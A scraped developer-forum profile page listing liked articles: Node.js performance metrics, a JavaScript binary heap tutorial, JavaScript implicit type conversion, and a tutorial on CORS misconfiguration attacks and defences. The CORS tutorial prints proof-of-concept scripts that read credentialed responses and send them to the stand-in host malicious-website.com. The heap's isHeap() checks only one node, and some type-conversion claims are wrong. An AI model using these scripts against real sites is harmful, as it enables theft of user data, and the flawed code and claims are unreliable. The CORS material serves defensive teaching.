<dfn id="hx5t3"><strike id="hx5t3"><em id="hx5t3"></em></strike></dfn>

    <thead id="hx5t3"></thead><nobr id="hx5t3"><font id="hx5t3"><rp id="hx5t3"></rp></font></nobr>

    <listing id="hx5t3"></listing>

    <var id="hx5t3"></var>
    <big id="hx5t3"></big>

      
      

      <output id="hx5t3"><ruby id="hx5t3"></ruby></output>
      <menuitem id="hx5t3"><dfn id="hx5t3"></dfn></menuitem>

      <big id="hx5t3"></big>

        高陽Sunny

        高陽Sunny 查看完整檔案

        北京編輯中國科學院  |  聯想之星 編輯SegmentFault  |  CEO 編輯 www.tvxinternet.com/lives 編輯
        編輯

        SegmentFault 思否 CEO
        C14Z.Group Founder
        Forbes China 30U30

        獨立思考 敢于否定

        曾經是個話癆... 要做一個有趣的人!

        任何問題可以給我發私信或者發郵件 sunny@sifou.com

        個人動態

        高陽Sunny 贊了文章 · 3月3日

        [譯] Node.js的性能監控 - Part 1: 監控的指標

        translate from 《Node.js Performance Monitoring - Part 1: The Metrics to Monitor

        在深入研究Node.js應用程序的性能以及如何提高性能時,有幾個比較核心的指標非常重要和有幫助,讓我們從以下幾個關鍵的指標來學習分析Node.js的性能。

        【cpu usage】

        Node應用一般不會消耗很多的CPU,如果有高CPU那么說明你的app有很多同步操作。而他們會block事件循環,這會導致你的異步任務回調也被阻止了。

        而CPU使用率高的程序不一定是錯誤的程序,如果你要在一個web-server里運行一個cpu密集型的程序,這個任務最好是放到一個單獨進程里,否則它會讓你的服務變得異常緩慢影響你的用戶。找到引起cpu升高的問題,是了解node應用程序的良好開端。

        【堆內存使用、內存泄漏、垃圾收集】

        Node.js對內存有一個獨特的限制 - 一個進程的最大堆容量為1.5GB(cyj注: 這個應該跟機器cpu架構有關),無論運行該進程的機器上有多少可用內存。了解這一點對于架構設計和測試你的應用至關重要。

        內存泄漏是Node.js中的常見問題,并且是在對象被引用太長時引起的 - 換句話說,一個變量即使不再需要了但還是存儲著它的引用。 正常情況下,垃圾收集器會釋放不被使用的內存,以釋放出來給應用繼續使用。但是,垃圾收集器無法釋放這些在過期日期之后掛起的變量所使用的內存。如果您的應用程序內存使用量穩步增長而不是通過垃圾回收周期性地減少,那么您可能會遇到內存泄漏問題

        【事件循環的滯后 Lag in EventLoop】

        Node.js的核心優勢之一就是速度快。它被構建為快速和異步地處理多個事件.這種優勢來自事件循環,它允許應用程序快速響應這些事件。在優化應用程序以提高速度時,了解事件循環減慢的時間和原因非常重要。 隨著事件循環的每個循環變慢,每個事件將花費更長的時間來處理和操作。 從功能上講,這可以將Node.js降低到無響應的程度。

        一些拖慢事件循環的case:

        • 長時間運行的同步任務

        在事件循環的單個滴答中花費太多時間也可能是性能問題的根源。 您無法消除任務執行cpu所耗費的時間,但我們需要注意在任何給定時間內花費的時間。 如果工作時間超過我們可接受的響應時間,那么在不同的過程中執行該工作可能是有意義的。

        • 每個循環的任務不斷增加

        Node.js跟蹤需要在事件循環的各個階段處理的所有函數和回調。當您的服務器看到負載增加時,每個循環的任務數量開始增加。當此計數過高時,您的用戶將開始看到響應時間的增加。好消息是擴大運行應用程序的進程數量通??梢跃徑膺@種情況,并將您的網站性能恢復到正常水平

        查看原文

        贊 1 收藏 0 評論 0

        高陽Sunny 贊了文章 · 3月3日

        如何用 JS 實現二叉堆

        這是第 90 篇不摻水的原創,想獲取更多原創好文,請搜索公眾號關注我們吧~ 本文首發于政采云前端博客:如何用 JS 實現二叉堆

        如何用 JS 實現二叉堆

        前言

        二叉樹(Binary Tree)是一種樹形結構,它的特點是每個節點最多只有兩個分支節點,一棵二叉樹通常由根節點、分支節點、葉子節點組成,如下圖所示。每個分支節點也常常被稱作為一棵子樹,而二叉堆是一種特殊的樹,它屬于完全二叉樹。

        二叉樹與二叉堆的關系

        在日常工作中會遇到很多數組的操作,比如排序等。那么理解二叉堆的實現對以后的開發效率會有所提升,下面就簡單介紹一下什么是二叉樹,什么是二叉堆。

        二叉樹特征

        • 根節點:二叉樹最頂層的節點
        • 分支節點:除了根節點以外且擁有葉子節點
        • 葉子節點:除了自身,沒有其他子節點

        在二叉樹中,我們常常還會用父節點和子節點來描述,比如上圖中左側節點 2 為 6 和 3 的父節點,反之 6 和 3 是 2 子節點。

        二叉樹分類

        二叉樹分為滿二叉樹(full binary tree)和完全二叉樹(complete binary tree)。

        • 滿二叉樹:一棵深度為 k 且有 2 ^ k - 1個節點的二叉樹稱為滿二叉樹
        • 完全二叉樹:完全二叉樹是指最后一層左邊是滿的,右邊可能滿也可能不滿,然后其余層都是滿的二叉樹稱為完全二叉樹(滿二叉樹也是一種完全二叉樹)

        二叉樹結構

        從圖中我們可以看出二叉樹是從上到下依次排列下來,可想而知可以用一個數組來表示二叉樹的結構,從下標 index( 0 - 8 ) 從上到下依次排列。

        3

        • 二叉樹左側節點表達式 index * 2 + 1。例如:以根節點為例求左側節點,根節點的下標為0,則左側節點的序數是1 ,對應數組中的值為1
        • 二叉樹右側節點表達式 index * 2 + 2。例如:以根節點為例求右側節點,根節點的下標為0,則右側節點的序數是2 ,對應數組中的值為 8
        • 二叉樹葉子節點表達式 序數 >= floor( N / 2 )都是葉子節點(N是數組的長度)。例如:floor( 9 / 2 ) = 4 ,則從下標 4 開始的值都為葉子節點

        二叉堆特征

        二叉堆是一個完全二叉樹,父節點與子節點要保持固定的序關系,并且每個節點的左子樹和右子樹都是一個二叉堆。

        4

        從上圖可以看出

        • 圖一:每個父節點大于子節點或等于子節點,滿足二叉堆的性質
        • 圖二:其中有一個父節點小于子節點則不滿足二叉堆性質

        二叉堆分類

        ? 二叉堆根據排序不同,可以分為最大堆和最小堆

        • 最大堆:根節點的鍵值是所有堆節點鍵值中最大者,且每個父節點的值都比子節點的值大
        • 最小堆:根節點的鍵值是所有堆節點鍵值中最小者,且每個父節點的值都比子節點的值小

        Untitled Diagram (1)

        如何實現二叉堆

        通過上面的講述想必大家對二叉堆有了一定的理解,那么接下來就是如何實現。以最大堆為例,首先要初始化數組然后通過交換位置形成最大堆。

        初始化二叉堆

        從上面描述,我們可以知道二叉堆其實就是一個數組,那么初始化就非常簡單了。

        class Heap{
          constructor(arr){
            this.data = [...arr];
            this.size = this.data.length;
          }
        }

        父子節點交換位置

        圖一中 2 作為父節點小于子節點,很顯然不符合最大堆性質。maxHeapify 函數可以把每個不符合最大堆性質的節點調換位置,從而滿足最大堆性質的數組。

        5

        調整步驟:

        1.調整分支節點 2 的位置(不滿足最大堆性質)

        2.獲取父節點 2 的左右節點 ( 12 , 5 ) ,從 ( 2 , 15 , 5 ) 中進行比較

        3.找出最大的節點與父節點進行交換,如果該節點本身為最大節點則停止操作

        4.重復 step2 的操作,從 2 , 4 , 7 中找出最大值與 2 做交換(遞歸)

        maxHeapify(i) {
          let max = i;
        
          if(i >= this.size){
            return;
          }
          // 當前序號的左節點
          const l = i * 2 + 1;
          // 當前需要的右節點
          const r = i * 2 + 2;
        
          // 求當前節點與其左右節點三者中的最大值
          if(l < this.size && this.data[l] > this.data[max]){
            max = l;
          }
          if(r < this.size && this.data[r] > this.data[max]){
            max = r;
          }
        
          // 最終max節點是其本身,則已經滿足最大堆性質,停止操作
          if(max === i) {
            return;
          }
        
          // 父節點與最大值節點做交換
          const t = this.data[i];
          this.data[i] = this.data[max];
          this.data[max] = t;
        
          // 遞歸向下繼續執行
          return this.maxHeapify(max);
        }

        形成最大堆

        我們可以看到,初始化是由一個數組組成,以下圖為例很顯然并不會滿足最大堆的性質,上述 maxHeapify 函數只是對某一個節點作出對調,無法對整個數組進行重構,所以我們要依次對數組進行遞歸重構。

        6

        1.找到所有分支節點 Math.floor( N / 2 )(不包括葉子節點)

        2.將找到的子節點進行 maxHeapify 操作

        rebuildHeap(){
          // 葉子節點
          const L = Math.floor(this.size / 2);
          for(let i = L - 1; i >= 0; i--){
            this.maxHeapify(i);
          }
        }

        生成一個升序的數組

        B9AA42A8-8E58-4729-BF07-5164559E33BD

        1.swap 函數交換首位位置

        2.將最后一個從堆中拿出相當于 size - 1

        3.執行 maxHeapify 函數進行根節點比較找出最大值進行交換

        4.最終 data 會變成一個升序的數組

        sort() {
          for(let i = this.size - 1; i > 0; i--){
            swap(this.data, 0, i);
            this.size--;
            this.maxHeapify(0);
          }
        }

        插入方法

        Insert 函數作為插入節點函數,首先

        1.往 data 結尾插入節點

        2.因為節點追加,size + 1

        3.因為一個父節點擁有 2 個子節點,我們可以根據這個性質通過 isHeap 函數獲取第一個葉子節點,可以通過第一個葉子節點獲取新插入的節點,然后進行 3 個值的對比,找出最大值,判斷插入的節點。如果跟父節點相同則不進行重構(相等滿足二叉堆性質),否則進行 rebuildHeap 重構堆

        isHeap() {
          const L = Math.floor(this.size / 2);
          for (let i = L - 1; i >= 0; i--) {
            const l = this.data[left(i)] || Number.MIN_SAFE_INTEGER;
            const r = this.data[right(i)] || Number.MIN_SAFE_INTEGER;
        
            const max = Math.max(this.data[i], l, r);
        
            if (max !== this.data[i]) {
              return false;
            }
            return true;
          }
        }
        insert(key) {
          this.data[this.size] = key;
          this.size++
          if (this.isHeap()) {
            return;
          }
          this.rebuildHeap();
        }

        刪除方法

        delete 函數作為刪除節點,首先

        1.刪除傳入index的節點

        2.因為節點刪除,size - 1

        3.重復上面插入節點的操作

        delete(index) {
          if (index >= this.size) {
            return;
          }
          this.data.splice(index, 1);
          this.size--;
          if (this.isHeap()) {
            return;
          }
          this.rebuildHeap();
        }

        完整代碼

        /**
         * 最大堆
         */
        
        function left(i) {
          return (i * 2) + 1;
        }
        
        function right(i) {
          return (i * 2) + 2;
        }
        
        function swap(A, i, j) {
          const t = A[i];
          A[i] = A[j];
          A[j] = t;
        }
        
        class Heap {
          constructor(arr) {
            this.data = [...arr];
            this.size = this.data.length;
            this.rebuildHeap = this.rebuildHeap.bind(this);
            this.isHeap = this.isHeap.bind(this);
            this.sort = this.sort.bind(this);
            this.insert = this.insert.bind(this);
            this.delete = this.delete.bind(this);
            this.maxHeapify = this.maxHeapify.bind(this);
          }
        
          /**
           * 重構堆,形成最大堆
           */
          rebuildHeap() {
            const L = Math.floor(this.size / 2);
            for (let i = L - 1; i >= 0; i--) {
              this.maxHeapify(i);
            }
          }
        
          isHeap() {
            const L = Math.floor(this.size / 2);
            for (let i = L - 1; i >= 0; i--) {
              const l = this.data[left(i)] || Number.MIN_SAFE_INTEGER;
              const r = this.data[right(i)] || Number.MIN_SAFE_INTEGER;
        
              const max = Math.max(this.data[i], l, r);
        
              if (max !== this.data[i]) {
                return false;
              }
              return true;
            }
          }
        
          sort() {
            for (let i = this.size - 1; i > 0; i--) {
              swap(this.data, 0, i);
              this.size--;
              this.maxHeapify(0);
            }
          }
        
          insert(key) {
            this.data[this.size++] = key;
            if (this.isHeap()) {
              return;
            }
            this.rebuildHeap();
          }
        
          delete(index) {
            if (index >= this.size) {
              return;
            }
            this.data.splice(index, 1);
            this.size--;
            if (this.isHeap()) {
              return;
            }
            this.rebuildHeap();
          }
        
          /**
           * 交換父子節點位置,符合最大堆特征
           * @param {*} i
           */
          maxHeapify(i) {
            let max = i;
        
            if (i >= this.size) {
              return;
            }
        
            // 求左右節點中較大的序號
            const l = left(i);
            const r = right(i);
            if (l < this.size && this.data[l] > this.data[max]) {
              max = l;
            }
        
            if (r < this.size && this.data[r] > this.data[max]) {
              max = r;
            }
        
            // 如果當前節點最大,已經是最大堆
            if (max === i) {
              return;
            }
        
            swap(this.data, i, max);
        
            // 遞歸向下繼續執行
            return this.maxHeapify(max);
          }
        }
        
        module.exports = Heap;

        示例

        相信通過上面的講述大家對最大堆的實現已經有了一定的理解,我們可以利用這個來進行排序。

        const arr = [15, 12, 8, 2, 5, 2, 3, 4, 7];
        const fun = new Heap(arr);
        fun.rebuildHeap(); // 形成最大堆的結構
        fun.sort();// 通過排序,生成一個升序的數組
        console.log(fun.data) // [2, 2, 3, 4, 5, 7, 8, 12, 15]

        總結

        文章中主要講述了二叉樹、二叉堆的概念,然后通過代碼實現二叉堆。我們可以通過二叉堆來做排序和優先級隊列等。

        推薦閱讀

        前端異常的捕獲與處理

        編寫高質量可維護的代碼:組件的抽象與粒度

        招賢納士

        政采云前端團隊(ZooTeam),一個年輕富有激情和創造力的前端團隊,隸屬于政采云產品研發部,Base 在風景如畫的杭州。團隊現有 40 余個前端小伙伴,平均年齡 27 歲,近 3 成是全棧工程師,妥妥的青年風暴團。成員構成既有來自于阿里、網易的“老”兵,也有浙大、中科大、杭電等校的應屆新人。團隊在日常的業務對接之外,還在物料體系、工程平臺、搭建平臺、性能體驗、云端應用、數據分析及可視化等方向進行技術探索和實戰,推動并落地了一系列的內部技術產品,持續探索前端技術體系的新邊界。

        如果你想改變一直被事折騰,希望開始能折騰事;如果你想改變一直被告誡需要多些想法,卻無從破局;如果你想改變你有能力去做成那個結果,卻不需要你;如果你想改變你想做成的事需要一個團隊去支撐,但沒你帶人的位置;如果你想改變既定的節奏,將會是“5 年工作時間 3 年工作經驗”;如果你想改變本來悟性不錯,但總是有那一層窗戶紙的模糊… 如果你相信相信的力量,相信平凡人能成就非凡事,相信能遇到更好的自己。如果你希望參與到隨著業務騰飛的過程,親手推動一個有著深入的業務理解、完善的技術體系、技術創造價值、影響力外溢的前端團隊的成長歷程,我覺得我們該聊聊。任何時間,等著你寫點什么,發給 ZooTeam@cai-inc.com

        查看原文

        贊 7 收藏 3 評論 0

        高陽Sunny 贊了文章 · 3月1日

        偷偷運行的邏輯 - JavaScript隱式類型轉換

        將寫作當成興趣,并一直進行下去。曾經這是個小小的奢望,現在已經在逐步的實現中。

        長話短說,既然是技術文,就不發這么多感慨了,接下來,一起進入今天的正題吧。

        今天給大家分享的是 JavaScript 中的隱式類型轉換問題。相信很多的小伙伴都曾被它困擾過,不論是開發中還是面試過程中。期望今天的分享能給你帶來不一樣的理解。也能讓你之后不再為此煩惱。

        1. 基本數據類型

        我們都知道,在 javascript 中一共有 7 中數據類型。分別是 Object, Null, Undefined, String, Number, Boolean, Symbol。這些東西我們在平時的開發過程中每天無時無刻不在接觸,這里我們不多贅述。

        2. 強制類型轉換

        平時的使用過程中,我們會遇到很多數據類型不一致的問題,同樣,強制將不同的數據類型轉換為相同的數據類型也是很正常的操作;接下來,我們看看都有什么樣的強制轉換方法:

        2.1 字符串 -> 數字

        1. parseInt
        parseInt('123') // 123
        parseInt('123abc') // 123
        parseInt('12.3abc') // 12
        parseInt('abc123') // NaN

        解釋:

        此方法只轉換 以數字開頭的,直到不是數字,然后轉換結束,如果字符串不是以數字開頭,則轉換為 NaN

        2. parseFloat
        parseFloat('123') // 123
        parseFloat('12.3abc') // 12.3
        parseFloat('1.2.3abc') // 1.2
        parseFloat('abc1.23') // NaN

        解釋:

        規則同 parseInt ,只是注意小數點的轉換,只能轉換一個小數點,如果是多個小數點,則只保留一個。

        3. Number
        Number('123') // 123
        Number('12.3abc') // NaN
        Number('1.2.3abc') // NaN
        Number('abc1.23') // NaN

        解釋:

        此方法只轉換 全數字 的字符串,如果字符串不是全數字。如'12.3abc','1.2.3abc','abc1.23'………… 的情況,統一轉換為 NaN

        4. 位運算

        位運算的使用在前端是特別少的,以至于很多前端人員不清楚具體使用。下面我們來看看,如何使用位運算將字符串轉換為數字

        主要有以下幾種操作方式可做轉換

        • ~
        • << 左移
        • >> 右移

        對于位運算的實際運算方式我們暫不做描述,本次只看如何使用它們將字符串轉為數字

        ~~'123'    // 123 (這里是兩個 ~~ 波浪線)
        '123' << 0 // 123
        '123' >> 0 // 123

        解釋:

        使用方法跟 Number 相同。都是只能轉換全數字的字符串。不為全數字的字符串,~轉換為 NaN ,另外兩種轉換為 0

        2.2 數字 -> 字符串

        1. 使用 + 運算符。
        '' + 123 // '123'
        2. 使用 toString 方法
        let num = 123
        num.toString() // ‘123’
        3. 使用 String 方法
        let num = 123
        String(num) // '123'

        2.3 轉換為布爾值

        1. !! 方法。(雙重否定即為肯定。使用雙重非可以得到原始值轉換的布爾值)
        let num = 123
        !!num // true
        
        let str = '123'
        !!str // true
        2. Boolean 方法
        let num = 123
        let str = '123'
        Boolean(123) // true
        Boolean('123') // true

        注意:

        JavaScript 中為 false 的情況:

        • '',"" 空字符串
        • 0 數字 0
        • undefined
        • null
        • NaN
        • false

        3. 隱式類型轉換

        3.1 可觸發隱式類型轉換的操作

        • 四則運算 +, -, *, /
        • 比較 > < >= <= ==。

          • 注意: === 是不會觸發隱式類型轉換的。
        • 判斷 if, while

        3.2 toStringvalueOf 說明

        此兩種方法是將復雜數據類型轉換為原始值輸出。

        1. 調用 valueOf 方法后
        • String, Number, Boolean 返回的分別是 字符串值,數字值,布爾值。
        • Object, Array, Function 返回的是自身
        • Date 返回的是從開始到現在的毫秒值
        2. 調用 toString 方法后
        • String, Number, Boolean 返回的本別是字符串類型的值
        • Object 返回的是 [object Object]
        • Array 返回的是 空字符串。因為在 Array 中重寫了這個方法
        • function 返回的是函數本身的字符串
        • Date 返回的是時間,并非毫秒數

        注意:

        在獲取原始值(toPrimitive)時,會先調用 valueOf 方法,如果返回的不是原始值(也就是說返回的不是基本數據類型),則會繼續調用 toString 方法。如果還不是原始值。則會報錯。

        3.3 具體實例解析

        請在查看解析之前嘗試解答下方問題

        // 數組
        [] == ![]   // 1
        [] == []    // 2
        [] == false // 3
        [] == true  // 4
        [1] == 1    // 5
        [] == 0     // 6
        [12] < [13] // 7
        
        // 對象
        {} == {}    // 8
        {} == !{}   // 9
        {} != {}    // 10
        
        // 結合版
        [] + {}     // 11
        {} + []     // 12
        {} + {}     // 13
        [] + []     // 14
        {} + 1      // 15
        1 + {}      // 16

        答案來咯,準備好了沒

        1. [] == ![] 執行步驟
        // 將原題中的 ![] 轉換為原始值 --> ![] 為false
        [] == false
        // 將 [] 轉換為原始值 [].valueOf() 返回自身,繼續調用 toString 返回 空字符串
        '' == false
        // 將空字符串轉換為 布爾值,空字符串為false
        false == false
        // 得到結果為 [] == ![] --> true
        2. [] == []
        比較的是地址,兩個數組的地址不相同。結果為false
        3. [] == false

        解答步驟同第一題[] == ![]

        4. [] == true

        解答步驟同第一題[] == ![]

        5. [1] == 1
        // 將 [1] 獲取原始值, 調用 valueOf 返回自身,繼續調用 toString 返回 '1'
        1 == 1
        // 得到結果 [1] == 1 --> true
        6. [] == 0
        // 將 [] 獲取原始值, 調用 valueOf 返回自身,繼續調用 toString 返回 ‘’
        ‘’ == 0
        // 將空字符串轉換為數字 '' --> 0
        0 == 0
        // 得到結果 [] == 0 --> true
        7. [12] < [13]
        // 將左右都轉換為原始值
        '12' < '13'
        // 得到結果 true
        8. {} == {}

        [] == []

        9. {} == !{}

        [] == ![] 不同的是,這里的 {} 轉化為字符串之后為[object Object] 。 所以結果與 [] == ![] 相反

        10. {} !== {}

        {} == {}反結果

        11. [] + {}
        // 將左右同時獲取原始值。
        '' + '[object Object]' = '[object Object]'
        12. {} + []

        如果右邊的值不值一個字典格式,則會將大括號當成一個空塊兒處理。也就是說此時的表達式可以被轉換成如下表達式+ [],然后將 [] 先轉為空串,然后轉換為數字,得到數字0 。

        所以: {} + [] == 0

        13. {} + {}

        左右兩邊都做對象處理,獲取原始值

        '[object Object]' + '[object Object]' = '[object Object][object Object]'
        14. [] + []

        獲取左右的原始值,都轉換為了空字符串。然后做字符串拼接

        '' + '' = ''
        15. {} + 1

        {} + [] ,可變形為 + 1

        16. 1 + {}

        將右方的 {} 獲取原始值,得到 '[object Object]' ,原式可變形為

        1 + '[object Object]' = '1[object Object]'

        4. 補充點

        • NaN 與任何值都不相等,包括它本身(這得多很,自己跟自己都不相等)
        • undefined 參與的任意一個四則運算,結果都為 NaN
        • 布爾值 true 轉數字時,轉為 1 ;false 轉為數字時為 0
        • 字符串之間比較大小,實際比較的是字符編碼。如:a > A = 97 > 65 = true

        好了,今天的文章就分享到這兒咯,并沒有寫太多的概念,只是讓大家來多看下實際運行的結果。一通則百通,知曉了實際運行的過程,再遇到相似的問題就游刃有余了。

        查看原文

        贊 1 收藏 0 評論 0

        高陽Sunny 贊了文章 · 3月1日

        Web 安全 之 CORS

        Cross-origin resource sharing (CORS)

        在本節中,我們將解釋什么是跨域資源共享(CORS),并描述一些基于 CORS 的常見攻擊示例,以及討論如何防御這些攻擊。

        CORS(跨域資源共享)是什么?

        CORS(跨域資源共享)是一種瀏覽器機制,它允許對位于當前訪問域之外的資源進行受控訪問。它擴展并增加了同源策略的靈活性。然而,如果一個網站的 CORS 策略配置和實現不當,它也可能導致基于跨域的攻擊。CORS 不是針對跨源攻擊(例如跨站請求偽造 CSRF)的保護。

        Same-origin policy(同源策略)

        同源策略是一種限制性的跨域規范,它限制了網站與源域之外資源交互的能力。同源策略是多年前定義的,用于應對潛在的惡意跨域交互,例如一個網站從另一個網站竊取私人數據。它通常允許域向其他域發出請求,但不允許訪問響應。

        更多內容可參考下本 Same-origin-policy 。

        同源策略的放寬

        同源策略具有很大的限制性,因此人們設計了很多方法去規避這些限制。許多網站與子域或第三方網站的交互方式要求完全的跨域訪問。使用跨域資源共享(CORS)可以有控制地放寬同源策略。

        CORS 協議使用一組 HTTP header 來定義可信的 web 域和相關屬性,例如是否允許通過身份驗證的訪問。瀏覽器和它試圖訪問的跨域網站之間進行這些 header 的交換。

        更多內容可參考下文 CORS and the Access-Control-Allow-Origin response header 。

        CORS 配置不當引發的漏洞

        現在許多網站使用 CORS 來允許來自子域和可信的第三方的訪問。他們對 CORS 的實現可能包含有錯誤或過于放寬,這可能導致可利用的漏洞。

        服務端 ACAO 直接返回客戶端的 Origin

        有些應用程序需要允許很多其它域的訪問。維護一個允許域的列表需要付出持續的努力,任何差錯都有可能造成破壞。因此,應用程序可能使用一些更加簡單的方法來達到最終目的。

        一種方法是從請求頭中讀取 Origin,然后將其作為 Access-Control-Allow-Origin 響應頭返回。例如,應用程序接受了以下請求:

        GET /sensitive-victim-data HTTP/1.1
        Host: vulnerable-website.com
        Origin: https://malicious-website.com
        Cookie: sessionid=...

        然后,其響應:

        HTTP/1.1 200 OK
        Access-Control-Allow-Origin: https://malicious-website.com
        Access-Control-Allow-Credentials: true

        響應頭表明允許從請求域進行訪問,并且跨域請求可以包括 cookies(Access-Control-Allow-Credentials: true),因此瀏覽器將會在會話中進行處理。

        由于應用程序在 Access-Control-Allow-Origin 頭中直接返回了請求域,這意味著任何域都可以訪問資源。如果響應中包含了任何敏感信息,如 API key 或者 CSRF token 則都可以被獲取,你可以在你的網站上放置以下腳本進行檢索:

        var req = new XMLHttpRequest();
        req.onload = reqListener;
        req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
        req.withCredentials = true;
        req.send();
        
        function reqListener() {
        location='//malicious-website.com/log?key='+this.responseText;
        };

        Origin 處理漏洞

        某些應用程序使用白名單機制來實現可信來源的訪問允許。當收到 CORS 請求時,將請求頭中的 origin 與白名單進行比較,如果在白名單中,則在 Access-Control-Allow-Origin 頭中返回請求的 origin 以允許其跨域訪問。例如,應用程序收到了如下的請求:

        GET /data HTTP/1.1
        Host: normal-website.com
        ...
        Origin: https://innocent-website.com

        應用程序檢查白名單列表,如果 origin 在表中,則響應:

        HTTP/1.1 200 OK
        ...
        Access-Control-Allow-Origin: https://innocent-website.com

        在實現 CORS origin 白名單時很可能會犯一些失誤。某個組織決定允許從其所有子域(包括尚未存在的未來子域)進行訪問。應用程序允許從其他組織的域(包括其子域)進行訪問。這些規則通常通過匹配 URL 前綴或后綴,或使用正則表達式來實現。實現中的任何失誤都可能導致訪問權限被授予意外的外部域。

        例如,假設應用程序允許以下結尾的所有域的訪問權限:

        normal-website.com

        攻擊者則可以通過注冊以下域來獲得訪問權限(結尾匹配):

        hackersnormal-website.com

        或者應用程序允許以下開頭的所有域的訪問權限:

        normal-website.com

        攻擊者則可以使用以下域獲得訪問權限(開頭匹配):

        normal-website.com.evil-user.net

        Origin 白名單允許 null 值

        瀏覽器會在以下情況下發送值為 null 的 Origin 頭:

        • 跨站點重定向
        • 來自序列化數據的請求
        • 使用 file: 協議的請求
        • 沙盒中的跨域請求

        某些應用程序可能會在白名單中允許 null 以方便本地開發。例如,假設應用程序收到了以下跨域請求:

        GET /sensitive-victim-data
        Host: vulnerable-website.com
        Origin: null

        服務器響應:

        HTTP/1.1 200 OK
        Access-Control-Allow-Origin: null
        Access-Control-Allow-Credentials: true

        在這種情況下,攻擊者可以使用各種技巧生成 Origin 為 null 的請求以通過白名單,從而獲得訪問權限。例如,可以使用 iframe 沙盒進行跨域請求:

        <iframe sandbox="allow-scripts allow-top-navigation allow-forms" data-original="data:text/html,<script>
        var req = new XMLHttpRequest();
        req.onload = reqListener;
        req.open('get','vulnerable-website.com/sensitive-victim-data',true);
        req.withCredentials = true;
        req.send();
        
        function reqListener() {
        location='malicious-website.com/log?key='+this.responseText;
        };
        </script>"></iframe>

        通過 CORS 信任關系利用 XSS

        CORS 會在兩個域之間建立信任關系,即使 CORS 是正確的配置,但是如果某個受信任的網站存在 XSS 漏洞,那么攻擊者就可以利用 XSS 漏洞注入腳本,進而從受信任的網站上獲取敏感信息。

        假設請求為:

        GET /api/requestApiKey HTTP/1.1
        Host: vulnerable-website.com
        Origin: https://subdomain.vulnerable-website.com
        Cookie: sessionid=...

        如果服務器響應:

        HTTP/1.1 200 OK
        Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
        Access-Control-Allow-Credentials: true

        那么攻擊者可以通過 subdomain.vulnerable-website.com 網站上的 XSS 漏洞去獲取一些敏感數據:

        https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

        使用配置有問題的 CORS 中斷 TLS

        假設一個嚴格使用 HTTPS 的應用程序也通過白名單信任了一個使用 HTTP 的子域。例如,當應用程序收到以下請求時:

        GET /api/requestApiKey HTTP/1.1
        Host: vulnerable-website.com
        Origin: http://trusted-subdomain.vulnerable-website.com
        Cookie: sessionid=...

        應用程序響應:

        HTTP/1.1 200 OK
        Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
        Access-Control-Allow-Credentials: true

        在這種情況下,能夠攔截受害者用戶流量的攻擊者可以利用 CORS 來破壞受害者與應用程序的正常交互。攻擊步驟如下:

        • 受害者用戶發出任何純 HTTP 請求。
        • 攻擊者將重定向注入到:http://trusted-subdomain.vulnerable-website.com
        • 受害者的瀏覽器遵循重定向。
        • 攻擊者截獲純 HTTP 請求,返回偽造的響應給受害者,并發出惡意的 CORS 請求給:https://vulnerable-website.com
        • 受害者的瀏覽器發出 CORS 請求,origin 為:http://trusted-subdomain.vulnerable-website.com
        • 應用程序允許請求,因為這是一個白名單域,請求的敏感數據在響應中返回。
        • 攻擊者的欺騙頁面可以讀取敏感數據并將其傳輸到攻擊者控制下的任何域。

        即使易受攻擊的網站對 HTTPS 的使用沒有漏洞,并且沒有 HTTP 端點,同時所有 Cookie 都標記為安全,此攻擊也是有效的。

        內網和無憑證的 CORS

        大部分 CORS 攻擊都需要以下響應頭的存在:

        Access-Control-Allow-Credentials: true

        沒有這個響應頭,受害者的瀏覽器將不會發送 cookies ,這意味著攻擊者只能訪問無需用戶驗證的內容,而這些內容直接訪問目標網站就可以輕松獲得。

        然而,有一種情況下攻擊者無法直接訪問網站:網站是內網,并且是私有 IP 地址空間。內網的安全標準通常低于外網,這使得攻擊者發現漏洞后可以獲得進一步的訪問權限。例如,某個私有網絡中的跨域請求:

        GET /reader?url=doc1.pdf
        Host: intranet.normal-website.com
        Origin: https://normal-website.com

        服務器響應:

        HTTP/1.1 200 OK
        Access-Control-Allow-Origin: *

        服務器信任所有來源的跨域請求,而且無需憑證。如果私有IP地址空間內的用戶訪問公共互聯網,則可以從外部站點執行基于 CORS 的攻擊,該站點使用受害者的瀏覽器作為訪問內網資源的代理。

        如何防護基于 CORS 的攻擊

        CORS 漏洞主要是由于錯誤的配置而產生的,因此防護措施主要也是如何進行正確配置的問題。下面將會描述一些有效的方法。

        跨域請求的正確配置

        如果 web 資源包含敏感信息,那么應該在 Access-Control-Allow-Origin 頭中聲明允許的來源。

        只允許受信任的站點

        Access-Control-Allow-Origin 頭只能是受信任的站點。Access-Control-Allow-Origin 直接使用跨域請求的 origin 而不驗證是很容易被利用的,應該避免。

        白名單中避免 null

        避免 Access-Control-Allow-Origin: null 。來自內部文檔和沙盒請求的跨域資源調用可以指定 origin 為 null 的。CORS 頭應該根據私有和公共服務器的可信來源正確定義。

        避免在內部網絡中使用通配符

        避免在內部網絡中使用通配符。當內部瀏覽器可以訪問不受信任的外部域時,僅僅依靠網絡配置來保護內部資源是不夠的。

        CORS 不是服務端安全策略的替代品

        CORS 定義的只是瀏覽器行為,永遠不能替代服務端對敏感數據的保護,畢竟攻擊者可以直接在其它環境中偽造來自任何 origin 的請求。因此,除了正確配置的 CORS 之外,web 服務端仍然需要使用諸如身份驗證和會話管理等措施對敏感數據進行保護。


        Same-origin policy (SOP) - 同源策略

        在本節中,我們將解釋什么是同源策略以及它是如何實現的。

        什么是同源策略?

        同源策略是一種旨在防止網站互相攻擊的 web 瀏覽器的安全機制。

        同源策略限制一個源上的腳本訪問另一個源的數據。

        Origin 源由三個部分組成:schema、domain、port ,所謂的同源就是要求這三個部分全部相同。 例如下面這個 URL:

        http://normal-website.com/example/example.html

        schema 是 http,domainnormal-website.com,port 是 80 。下表顯示了如果上述 URL 中的內容嘗試訪問其它源將會是什么情況:

        訪問的 URL是否可以訪問
        http://normal-website.com/example/是,同源
        http://normal-website.com/example2/是,同源
        https://normal-website.com/example/否: scheme 和 port 都不同
        http://en.normal-website.com/example/否: domain 不同
        http://www.normal-website.com/example/否: domain 不同
        http://normal-website.com:8080/example/否: port 不同*

        *IE 瀏覽器將會允許訪問,因為 IE 瀏覽器在應用同源策略時不考慮端口號。

        為什么同源策略是必要的?

